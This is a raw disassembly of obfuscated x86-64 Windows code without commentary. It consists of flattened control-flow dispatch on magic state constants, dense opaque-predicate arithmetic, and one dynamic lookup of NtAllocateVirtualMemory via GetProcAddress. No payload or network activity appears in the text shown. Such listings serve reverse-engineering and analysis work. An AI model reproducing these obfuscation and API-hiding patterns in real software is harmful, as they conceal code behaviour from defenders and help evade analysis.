xor ecx, 0x8bc28d26
mov ebp, edx
and ebp, 0xfffffffe
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebp
and ecx, edx
xor edx, ebp
or edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xb483951f
and edx, 0x4b7c6ae0
or edx, ecx
xor edx, 0x4b7c6ae0
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov ebx, r10d
or bl, r9b
xor bl, 1
mov eax, r10d
xor al, r9b
not al
and al, r9b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and r10b, r9b
and cl, r8b
or cl, r10b
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
xor al, 1
mov ecx, eax
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x3df14977
mov ebp, 0x3362b42
cmovne edx, ebp
test al, 1
mov eax, edx
mov ebp, 0x3df14977
jmp 0x1400b750e
cmp ecx, 0xa7e5247a
jg 0x1400b0200
cmp ecx, 0xa33a6e9b
jg 0x1400b1036
cmp ecx, 0xa06b4274
jg 0x1400b2dcf
cmp ecx, 0x9f7e2ee9
je 0x1400b7516
cmp ecx, 0x9f885ea9
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
and edx, 0x1609ac88
mov ebp, ecx
and ebp, 0xc8000220
or ebp, edx
xor ebp, 0xc8000220
and ecx, 0x21f65157
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x21f65157
and ecx, 0xde09aea8
or ecx, edx
mov ebp, ecx
xor ebp, 1
and ebp, ecx
mov edx, ecx
not edx
and edx, 0x48dccfc1
and ecx, 0xb723303e
or ecx, edx
mov ebx, ecx
xor ebx, 0x13011034
mov edx, ebp
not edx
xor ecx, 0x48dccfc0
mov edi, edx
and edi, 0xa4a6e68b
and ebp, 0x5b591974
or ebp, edi
or edx, ecx
and ecx, 0xa4a6e68b
and ebx, 0x5b591974
or ebx, ecx
xor ebx, ebp
not edx
or edx, ebx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x14101e4
and edx, 0x482c3c02
or edx, ecx
mov ebx, edx
xor ebx, 0x40002002
xor edx, 0x2740427d
or ebp, 0x496d3de6
mov ecx, ebp
not ecx
and edx, 0x2f6c5e7d
and ebx, 0x40012182
or ebx, edx
and ebp, 0x2f6c5e7d
and ecx, 0x90928000
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0xb692c219
and ecx, 0x496d3de6
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xea25c12e
and edx, 0x15da3ed1
or edx, ecx
mov ecx, edx
xor ecx, 0x42004028
xor edx, 0x149814d0
and edx, 0xbcbd95d6
and ecx, 0x43426a29
or ecx, edx
xor ecx, 0x43426a29
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, bl
and bl, cl
or cl, r8b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and al, r8b
or al, bl
mov ebx, eax
not bl
and bl, dl
and cl, al
or cl, bl
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x20c481a4
mov ebp, 0x2b26be74
cmovne edx, ebp
test al, 1
mov eax, 0x20c481a4
jmp 0x1400ba9fb
cmp ecx, 0xe20fb7db
jg 0x1400b03ba
cmp ecx, 0xe06b6d04
jg 0x1400b1219
cmp ecx, 0xddd220af
jg 0x1400b2dfd
cmp ecx, 0xdcd56967
je 0x1400b752c
cmp ecx, 0xdd767e19
jne 0x1400adc00
mov rsi, qword [rsp + 0x38]
mov ecx, dword [0x14024b730]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x8700808
mov ebp, ebx
and ebp, 0x90085300
or ebp, ecx
xor ebp, 0x90085300
mov ecx, ebx
and ecx, 0x6787a4f7
or ecx, ebp
mov ebp, ecx
not ebp
and ebp, 0x6787a4f6
and ecx, 0x98785b09
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, ecx
and edi, 0x2c00213b
and ebp, 0xd3ffdec4
or ebp, edi
mov edi, dword [0x14024b72c]
or ecx, ebx
and ebx, 0x2c00213b
and edx, 0xd3ffdec4
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xcf8048bb
and ecx, 0x307fb744
or ecx, edx
xor ecx, 0x307fb744
sete r8b
setne bl
cmp edi, 9
setg cl
cmp edi, 0xa
setl al
mov r9d, eax
xor r9b, bl
mov edx, ecx
xor dl, r8b
and dl, cl
and bl, al
and cl, r8b
or cl, bl
mov eax, edx
xor al, 1
xor dl, cl
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
not al
and al, r9b
xor r9b, 1
mov edx, r9d
xor dl, cl
and dl, r9b
and cl, r9b
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x8c1604c6
mov ebp, 0x6ffd26c0
cmovne ecx, ebp
test dl, dl
mov edx, 0x8c1604c6
cmove ecx, edx
mov qword [0x14024b058], rsi
jmp 0x1400b1e33
cmp ecx, 0x1dea9076
jle 0x1400b0400
cmp ecx, 0x20e6eb2e
jg 0x1400b1364
cmp ecx, 0x1f8e1bc6
jg 0x1400b2f1b
cmp ecx, 0x1dea9077
je 0x1400b7696
cmp ecx, 0x1ea6d4c7
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea esi, [rdx - 1]
imul esi, edx
mov ebp, esi
not ebp
mov ecx, esi
or ecx, 0x45e855bc
mov edi, ecx
not edi
mov ebx, ebp
or ebx, 0xba17aa43
mov edx, ebx
not edx
and ecx, 0x435f3ba0
and edi, 0xb8008043
or edi, ecx
and ebx, 0x435f3ba0
and edx, 0x4a0441c
or edx, ebx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x4f6b85f7
and edx, 0xb0947a08
or edx, ecx
mov ecx, edx
xor ecx, 0x283500a
and ebp, 0x10eeb535
and esi, 0xef114aca
or esi, ebp
mov ebp, esi
xor ebp, 0x8701428a
xor edx, 0xf57c2fb5
mov ebx, edx
and ebx, 0x685c8c51
and ecx, 0x97a373ae
or ecx, ebx
xor esi, 0x4c8411
and esi, 0x685c8c51
and ebp, 0x97a373ae
or ebp, esi
xor ebp, ecx
xor edx, ebp
test edx, ebp
setne r8b
sete r9b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov r10d, ebx
mov edx, ebx
and dl, r9b
xor bl, r9b
and r9b, al
and r10b, r8b
or r10b, r9b
xor al, r8b
or bl, dl
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
not dl
mov ecx, r10d
xor cl, 1
and dl, cl
or cl, al
and al, r10b
or al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x92535015
mov ebp, 0x74cf1e8c
cmovne edx, ebp
test al, al
mov eax, edx
mov ebp, 0x92535015
jmp 0x1400b750e
cmp ecx, 0x17aeb32c
je 0x1400bc8c4
cmp ecx, 0x175636b7
je 0x1400b76ac
cmp ecx, 0x175975c1
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xd81cfc41
and edx, ecx
or ecx, 0x27e303be
mov ebp, ecx
not ebp
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x72fb6232
and ebp, 0x88049c41
or ebp, edi
or ecx, ebx
and ebx, 0x72fb6232
and edx, 0x8d049dcd
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x280e195c
and ecx, 0xd7f1e6a3
or ecx, edx
mov edx, ecx
xor edx, 0xfed1ae2
mov ebp, ecx
xor ebp, 0x80000515
and ebp, 0x860517d5
xor ecx, 0x2d25d075
and ecx, edx
mov ebx, edx
and ebx, 0x79fae82a
or ebx, ebp
mov edx, ebx
xor edx, 0x79fae82a
mov ebp, ebx
xor ebp, 0xa4cddd42
and ebp, edx
mov edi, ebp
and edi, ecx
xor ecx, ebp
or ecx, edi
mov ebp, ecx
not ebp
and ebp, 0xdd373569
and ecx, 0x22c8ca96
or ecx, ebp
xor ebx, 0x84010451
and ebx, 0xcce1c47b
mov ebp, edx
and ebp, 0x331e3b84
or ebp, ebx
xor ebp, 0xcce1c47a
and edx, 1
or edx, ebp
not edx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x5bb62c6e
and edx, 0xa449d391
or edx, ecx
mov ecx, edx
xor ecx, 0x20080181
xor edx, 0x10100408
and edx, 0x9451d618
and ecx, 0x6bae29e7
or ecx, edx
xor ecx, 0x9451d618
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg al
and dl, al
mov ebx, r8d
and bl, cl
or bl, dl
xor bl, 1
or bl, al
mov edx, ebx
not dl
xor al, cl
not al
and al, cl
xor cl, r8b
and cl, r8b
mov r8d, eax
and r8b, cl
xor cl, al
or cl, r8b
mov eax, ecx
xor al, 1
and cl, bl
and dl, al
or dl, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xfb010d94
mov ebp, 0xc5c02359
cmovne ecx, ebp
test al, 1
mov eax, 0xfb010d94
jmp 0x1400adbec
cmp ecx, 0x53e99529
jg 0x1400b14cd
cmp ecx, 0x4de1cedd
jg 0x1400b2f49
cmp ecx, 0x4ae1a6f0
je 0x1400b76c2
cmp ecx, 0x4ccf1227
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x5d997dc6
and edx, ecx
and ecx, 0xa2668239
or ecx, ebp
xor ecx, 0xa2668239
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0x1b4642db
and ecx, 0xe4b9bd24
or ecx, ebp
xor ecx, 0xe4b9bd25
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xe1774cd4
and ecx, 0x1e88b32b
or ecx, edx
mov edx, ecx
not edx
and edx, 0x1e88b32b
and ecx, 0xe1774cd4
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xa4ec8b0f
and ecx, 0x5b1374f0
or ecx, ebp
xor ecx, 0x5b1374f0
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, dl
xor al, 1
or al, r8b
mov ebx, eax
not bl
and dl, r9b
and cl, r8b
or cl, dl
mov edx, ecx
xor dl, 1
and cl, al
or al, dl
and dl, bl
or dl, cl
mov ecx, eax
xor cl, dl
test dl, dl
mov edx, 0xe20fb7dc
mov ebp, 0xd7f858ed
cmovne edx, ebp
test al, al
mov eax, 0xe20fb7dc
cmovne edx, eax
test cl, 1
jmp 0x1400b6c1f
cmp ecx, 0x92535014
jg 0x1400b1623
cmp ecx, 0x908e48b5
jg 0x1400b3093
cmp ecx, 0x8e49db48
je 0x1400b787f
cmp ecx, 0x8ed728de
jne 0x1400adc00
mov rcx, qword [0x14024b040]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
not edx
and ebp, 0x7da22d40
and edx, 0x825dd2bf
or edx, ebp
mov ebp, edx
xor ebp, 0x7da22d40
mov ebx, edx
xor ebx, 0x7da22d41
and ebx, ebp
xor edx, 0x88035
and edx, 0x9aa8c75
and ebp, 0xf655738a
or ebp, edx
mov edx, ebp
xor edx, 0xe6406300
mov ecx, ebx
not ecx
xor ebp, 0x9aa8c74
mov edi, ecx
and edi, 0x11159cbb
and ebx, 0xeeea6344
or ebx, edi
or ecx, ebp
and ebp, 0x11159cbb
and edx, 0xeeea6344
or edx, ebp
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x284eda6f
and edx, ecx
not ecx
and ecx, 0x284eda6f
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0xa19f4fc6
and edx, 0x5e60b039
or edx, ecx
xor edx, 0x762e6a56
setne r8b
sete bl
cmp eax, 0xa
setl r9b
xor r9b, bl
cmp eax, 9
setg al
xor bl, al
xor bl, 1
mov edx, eax
xor dl, r8b
or al, r8b
xor al, 1
or al, dl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
mov ecx, edx
and cl, bl
xor dl, bl
or dl, cl
mov ecx, edx
xor dl, 1
and dl, r9b
xor r9b, 1
and cl, r9b
or dl, cl
mov ecx, r9d
and cl, al
xor al, r9b
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x95658ec
mov ebp, 0x196fc98f
cmovne eax, ebp
test dl, dl
cmove eax, ebp
test cl, 1
mov ecx, 0x95658ec
jmp 0x1400adbf2
cmp ecx, 0xd137c937
jg 0x1400b165d
cmp ecx, 0xd06d9e1d
jg 0x1400b3222
cmp ecx, 0xcffbe431
je 0x1400b7895
cmp ecx, 0xd0367f7b
jne 0x1400adc00
mov ecx, 0x11472602
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x7205977a
jg 0x1400b1722
cmp ecx, 0x7143737b
jg 0x1400b3255
cmp ecx, 0x70ea60d0
je 0x1400b7999
cmp ecx, 0x710783c6
jne 0x1400adc00
mov eax, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
mov ebp, eax
and ebp, 0xfffffffe
mov ebx, edx
and ebx, 1
or ebx, ebp
and eax, 0xc0d06b3f
and edx, 0x3f2f94c0
or edx, eax
mov eax, edx
xor eax, 0x3f2f94c0
xor edx, 0xc0d06b3f
and edx, ebx
not ebx
and eax, ebx
or edx, eax
xor ebx, edx
test ebx, edx
setne r8b
sete r9b
cmp ecx, 9
setg al
cmp ecx, 0xa
setl dl
mov ecx, edx
xor cl, al
and cl, dl
mov ebx, r9d
xor bl, cl
mov r10d, ebx
and r10b, r9b
and bl, cl
mov ecx, r10d
and cl, bl
xor bl, r10b
or bl, cl
and r8b, dl
or dl, r9b
xor dl, 1
and al, r9b
or al, r8b
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, eax
xor cl, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
xor bl, 1
and bl, cl
or al, bl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe0880bd6
mov ebp, 0xb277d6c7
cmovne ecx, ebp
test al, 1
mov eax, ecx
cmovne eax, ebp
jmp 0x1400b9e43
cmp ecx, 0xb1b866c5
jg 0x1400b175c
cmp ecx, 0xb1173659
jg 0x1400b33fc
cmp ecx, 0xafe4d895
je 0x1400b7afd
cmp ecx, 0xb102cfd5
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebp, [rcx - 1]
imul ebp, ecx
mov edx, ebp
mov ecx, ebp
xor ecx, 0xb664940b
and ecx, ebp
not ebp
and ebp, 0xcb1a1905
and edx, 0x34e5e6fa
or edx, ebp
mov ebp, edx
xor ebp, 0x34208408
xor edx, 0x82001001
or edx, 0x499b6bf4
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0xcf0113
and ebp, 0xb6209408
or ebp, edi
or edx, ebx
and ebx, 0xcf0113
and ecx, 0xff30feec
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x9ac18edf
and edx, 0x653e7120
or edx, ecx
mov ebx, edx
xor ebx, 0xd35ae52b
mov ecx, edx
xor ecx, 0x2ca51ad4
xor edx, 0x60c0fbfa
mov edi, edx
and edi, ecx
and edx, ebx
mov ebp, edi
not ebp
mov esi, edx
not esi
mov eax, ebp
and eax, 0x975443b2
and edi, 0x68abbc4d
or edi, eax
or ebp, esi
and esi, 0x975443b2
and edx, 0x68abbc4d
or edx, esi
xor edx, edi
not ebp
or ebp, edx
mov eax, ebp
not eax
and eax, 0x7564c621
and ebp, 0x8a9b39de
or ebp, eax
xor ebp, 0x3901270e
and ebx, 0xa3383015
mov eax, ecx
and eax, 0x5cc7cfea
or eax, ebx
xor eax, 0xa3383014
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0xd7cad7bf
and ecx, 0x28352840
or ecx, eax
xor ecx, 0x28352840
mov eax, ebp
and eax, ecx
xor ecx, ebp
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0x5f0a791
and eax, ecx
and ecx, 0xfa0f586e
or ecx, edx
xor ecx, 0xfa0f586e
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xdfe95db8
and eax, 0x2016a247
or eax, ecx
xor eax, 0xdfe95db8
cmp eax, 0xffffffff
setne r9b
sete cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
mov eax, ebx
xor al, cl
and r9b, dl
or dl, cl
xor dl, 1
and bl, cl
or bl, r9b
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
not cl
and cl, al
xor al, 1
mov edx, eax
xor dl, bl
and dl, al
and bl, al
or bl, cl
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0xd0367f7b
mov ebp, 0x11472602
cmovne ecx, ebp
test dl, dl
mov edx, 0xd0367f7b
cmove ecx, edx
jmp 0x1400b1e33
cmp ecx, 0xf06ac165
jg 0x1400b1892
cmp ecx, 0xeced3329
jg 0x1400b3549
cmp ecx, 0xeb107f91
je 0x1400b7be0
cmp ecx, 0xec0fd959
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0x89e68517
and ebp, 0x76197ae8
or ebp, edi
or ecx, ebx
and ebx, 0x89e68517
and edx, 0x76197ae8
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0x66d13cfe
and ecx, 0x992ec301
or ecx, ebp
xor ecx, 0x992ec300
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x6860f485
and edx, ecx
and ecx, 0x979f0b7a
or ecx, ebp
mov ebp, ecx
xor ebp, 0x161c0a72
xor ecx, 0x6860f485
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xa183f589
and ebp, 0x5e7c0a76
or ebp, edi
or ecx, ebx
and ebx, 0xa183f589
and edx, 0x5e7c0a76
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x45c0cc1c
and ecx, 0xba3f33e3
or ecx, ebp
xor ecx, 0x45c0cc1c
xor edx, ecx
test edx, ecx
sete cl
setne dl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg r9b
mov ebx, edx
and bl, r9b
mov eax, r8d
and al, cl
or al, bl
xor r9b, al
and r9b, al
or dl, r8b
xor dl, 1
xor cl, r8b
and cl, r8b
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ecx
xor al, 1
mov edx, ecx
and dl, al
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
mov ebx, edx
xor dl, 1
and dl, r9b
or cl, r9b
xor r9b, 1
and bl, r9b
or dl, bl
xor al, r9b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x18098c68
mov ebp, 0x1da8688e
cmovne eax, ebp
test cl, 1
mov ecx, 0x18098c68
jmp 0x1400bb907
cmp ecx, 0x32149429
jg 0x1400b1af1
cmp ecx, 0x2ecd004f
jg 0x1400b3685
cmp ecx, 0x2bcd5a99
je 0x1400b7d32
cmp ecx, 0x2c51cbd3
jne 0x1400adc00
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov edi, ecx
not edi
mov edx, edi
and edx, 0x4b25fa76
mov eax, ecx
and eax, 0xb4da0589
or eax, edx
mov ebx, eax
xor ebx, 0x20180080
xor eax, 0x50010
mov ebp, edi
or ebp, 0xb85dba90
mov edx, ebp
not edx
or eax, 0x520444f
and eax, 0x9565445f
and ebx, 0x2818ba80
or ebx, eax
and ebp, 0x9565445f
and edx, 0x42820120
or edx, ebp
xor edx, ebx
mov eax, edx
not eax
and eax, 0xe26b570d
and edx, 0x1d94a8f2
or edx, eax
mov eax, edx
xor eax, 0xa5810000
xor edx, 0x230e094
and edx, 0x278f2f7
and eax, 0xfd870d08
or eax, edx
xor eax, 0xfd870d08
and edi, 0xfc0e3cd1
and ecx, 0x3f1c32e
or ecx, edi
xor ecx, 0x3f1c32e
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and eax, 0x728a8f59
and ecx, 0x8d7570a6
or ecx, eax
xor ecx, 0x8d7570a6
setne al
cmp dword [0x14024b72c], 9
setg cl
mov edx, ecx
and dl, al
xor cl, al
or dl, cl
mov eax, ecx
not al
and al, cl
xor al, 1
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ebx, eax
xor al, 1
and al, dl
xor dl, 1
and bl, dl
or al, bl
mov ebx, edx
xor bl, cl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, edx
xor bl, al
test dl, 1
mov ecx, 0x1276a401
mov edx, 0x3b493600
cmovne ecx, edx
test al, al
cmove ecx, edx
not bl
test bl, 1
mov eax, 0x1276a401
jmp 0x1400bbe07
cmp ecx, 0xfdcf025b
jg 0x1400b1b2b
cmp ecx, 0xfc9d207d
jg 0x1400b3779
cmp ecx, 0xfbd0f310
je 0x1400b7d48
cmp ecx, 0xfbf691d0
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov ecx, dword [0x14024b72c]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0x867ed996
mov edx, ebp
and edx, 0x79812668
or edx, eax
xor edx, 0x79812668
mov eax, ebp
xor eax, 0xfffffffe
and eax, ebp
mov edi, edx
and edi, eax
xor eax, edx
or eax, edi
mov edx, eax
not edx
and ebx, edx
and eax, ebp
or eax, ebx
xor edx, eax
test edx, eax
sete al
setne r8b
cmp ecx, 0xa
setl bl
cmp ecx, 9
setg dl
mov r9d, edx
or al, dl
and dl, r8b
xor r9b, r8b
or r9b, dl
or bl, r8b
xor bl, 1
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, 1
mov ebx, r9d
and al, dl
mov r8d, edx
and r8b, al
xor al, dl
mov r10d, r9d
and r10b, dl
xor dl, r9b
xor r9b, 1
and bl, r9b
xor bl, 1
mov ecx, r9d
xor cl, bl
or bl, r9b
xor bl, 1
or bl, cl
or al, r8b
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
and al, bl
or al, cl
or dl, r10b
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x17aeb32c
mov ebp, 0x175636b7
cmovne edx, ebp
test al, 1
cmove edx, ebp
test cl, 1
mov eax, 0x17aeb32c
jmp 0x1400baef8
cmp ecx, 0x465f8d83
jg 0x1400b1c4c
cmp ecx, 0x41bdcef0
jg 0x1400b37a7
cmp ecx, 0x40d80803
je 0x1400b7ea5
cmp ecx, 0x41b718e8
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov esi, ecx
not esi
mov ebp, ecx
xor ebp, 0xfffffffe
and ebp, ecx
or ecx, 1
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0x35c2d133
mov edx, esi
and edx, 0xca3d2ecc
or edx, edi
or ecx, ebx
and ebx, 0x35c2d133
and ebp, 0xca3d2ecc
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
not ecx
mov edx, ecx
and edx, esi
xor ecx, esi
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd2ee1241
and ecx, 0x2d11edbe
or ecx, edx
xor ecx, 0x2d11edbe
setne cl
cmp eax, 0xa
setl r8b
cmp eax, 9
setg r9b
mov edx, r9d
and dl, cl
xor r9b, cl
or r9b, dl
mov edx, r9d
not dl
mov ebx, ecx
or bl, r8b
xor cl, r8b
not cl
and cl, r8b
xor cl, 1
mov r8d, ebx
xor r8b, cl
or cl, bl
xor cl, 1
or cl, r8b
mov ebx, ecx
xor bl, 1
and dl, r9b
mov eax, ecx
and al, bl
xor dl, 1
mov r8d, edx
xor r8b, r9b
or dl, r9b
xor dl, 1
or dl, r8b
mov r8d, eax
and r8b, cl
xor al, cl
or al, r8b
xor al, dl
mov ecx, r9d
and cl, bl
xor bl, r9b
or bl, cl
mov edx, ebx
xor dl, al
test bl, 1
mov ecx, 0x5ca3e6df
mov ebp, 0xe5fc6bc7
cmovne ecx, ebp
test al, 1
cmove ecx, ebp
test dl, 1
mov eax, 0x5ca3e6df
jmp 0x1400bc0e6
cmp ecx, 0x8b80cd8a
jg 0x1400b1c86
cmp ecx, 0x8a49aa00
jg 0x1400b3897
cmp ecx, 0x897972fe
je 0x1400b7f31
cmp ecx, 0x89cfd226
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x48a2050
and edx, 0x60509b06
or edx, ecx
mov ebx, edx
xor ebx, 0x60509a02
xor edx, 0x13066039
or ebp, 0x64dabb56
mov ecx, ebp
not ecx
and edx, 0x1306613d
and ebx, 0x64d89a42
or ebx, edx
and ebp, 0x1306613d
and ecx, 0x88210480
or ecx, ebp
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x9b2544a9
and ecx, 0x64dabb56
or ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
or edx, 1
mov ebx, edx
not ebx
and ebp, 0xfffffffe
and ecx, 1
or ecx, ebp
mov ebp, ecx
not ebp
mov edi, edx
and edi, 0xafcc37c4
and ebx, 0x5033c83a
or ebx, edi
or edx, ebp
and ebp, 0xafcc37c4
and ecx, 0x5033c83b
or ecx, ebp
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x2c7b4e1
and edx, 0xfd384b1e
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x1d6165e9
and edx, 0xe29e9a16
or edx, ecx
xor edx, 0xe0592ef7
sete cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
xor dl, cl
xor cl, al
xor cl, 1
or cl, al
xor cl, 1
xor dl, cl
mov eax, edx
xor al, 1
and cl, al
xor al, cl
test dl, dl
mov edx, 0xbe9d0221
mov ebp, 0xd8952236
cmovne edx, ebp
test cl, cl
mov ecx, 0xbe9d0221
cmove edx, ecx
jmp 0x1400b6c1d
cmp ecx, 0xc9689d26
jg 0x1400b1e3a
cmp ecx, 0xc63f1d60
jg 0x1400b398f
cmp ecx, 0xc5a37c5c
je 0x1400b8075
cmp ecx, 0xc5c02359
jne 0x1400adc00
mov ecx, 0x175975c1
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x6ed46665
jg 0x1400b1e74
cmp ecx, 0x6bec7e39
jg 0x1400b3aad
cmp ecx, 0x69af1abd
je 0x1400b81eb
cmp ecx, 0x6bce4ff3
jne 0x1400adc00
mov ecx, 0x27a052f8
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0xac017959
jg 0x1400b1f87
cmp ecx, 0xaa6e889d
jg 0x1400b3adb
cmp ecx, 0xa7e5247b
je 0x1400b8201
cmp ecx, 0xa9d16cab
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, ecx
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov edi, edx
mov ebx, edx
xor ebx, 0x9bb644c7
and ebx, edx
not edx
and edx, 0x533e208
and edi, 0xfacc1df7
or edi, edx
mov edx, edi
xor edx, 0xfacc1df7
mov ecx, edi
xor ecx, 0x9e85a6cf
and ecx, edx
mov ebp, ecx
not ebp
mov esi, ebx
not esi
mov eax, ebp
and eax, 0x629283e9
and ecx, 0x9d6d7c16
or ecx, eax
or ebp, esi
and esi, 0x629283e9
and ebx, 0x9d6d7c16
or ebx, esi
xor ebx, ecx
not ebp
or ebp, ebx
mov eax, ebp
not eax
and eax, 0x6449bb39
and ebp, 0x9bb644c6
or ebp, eax
and edx, 1
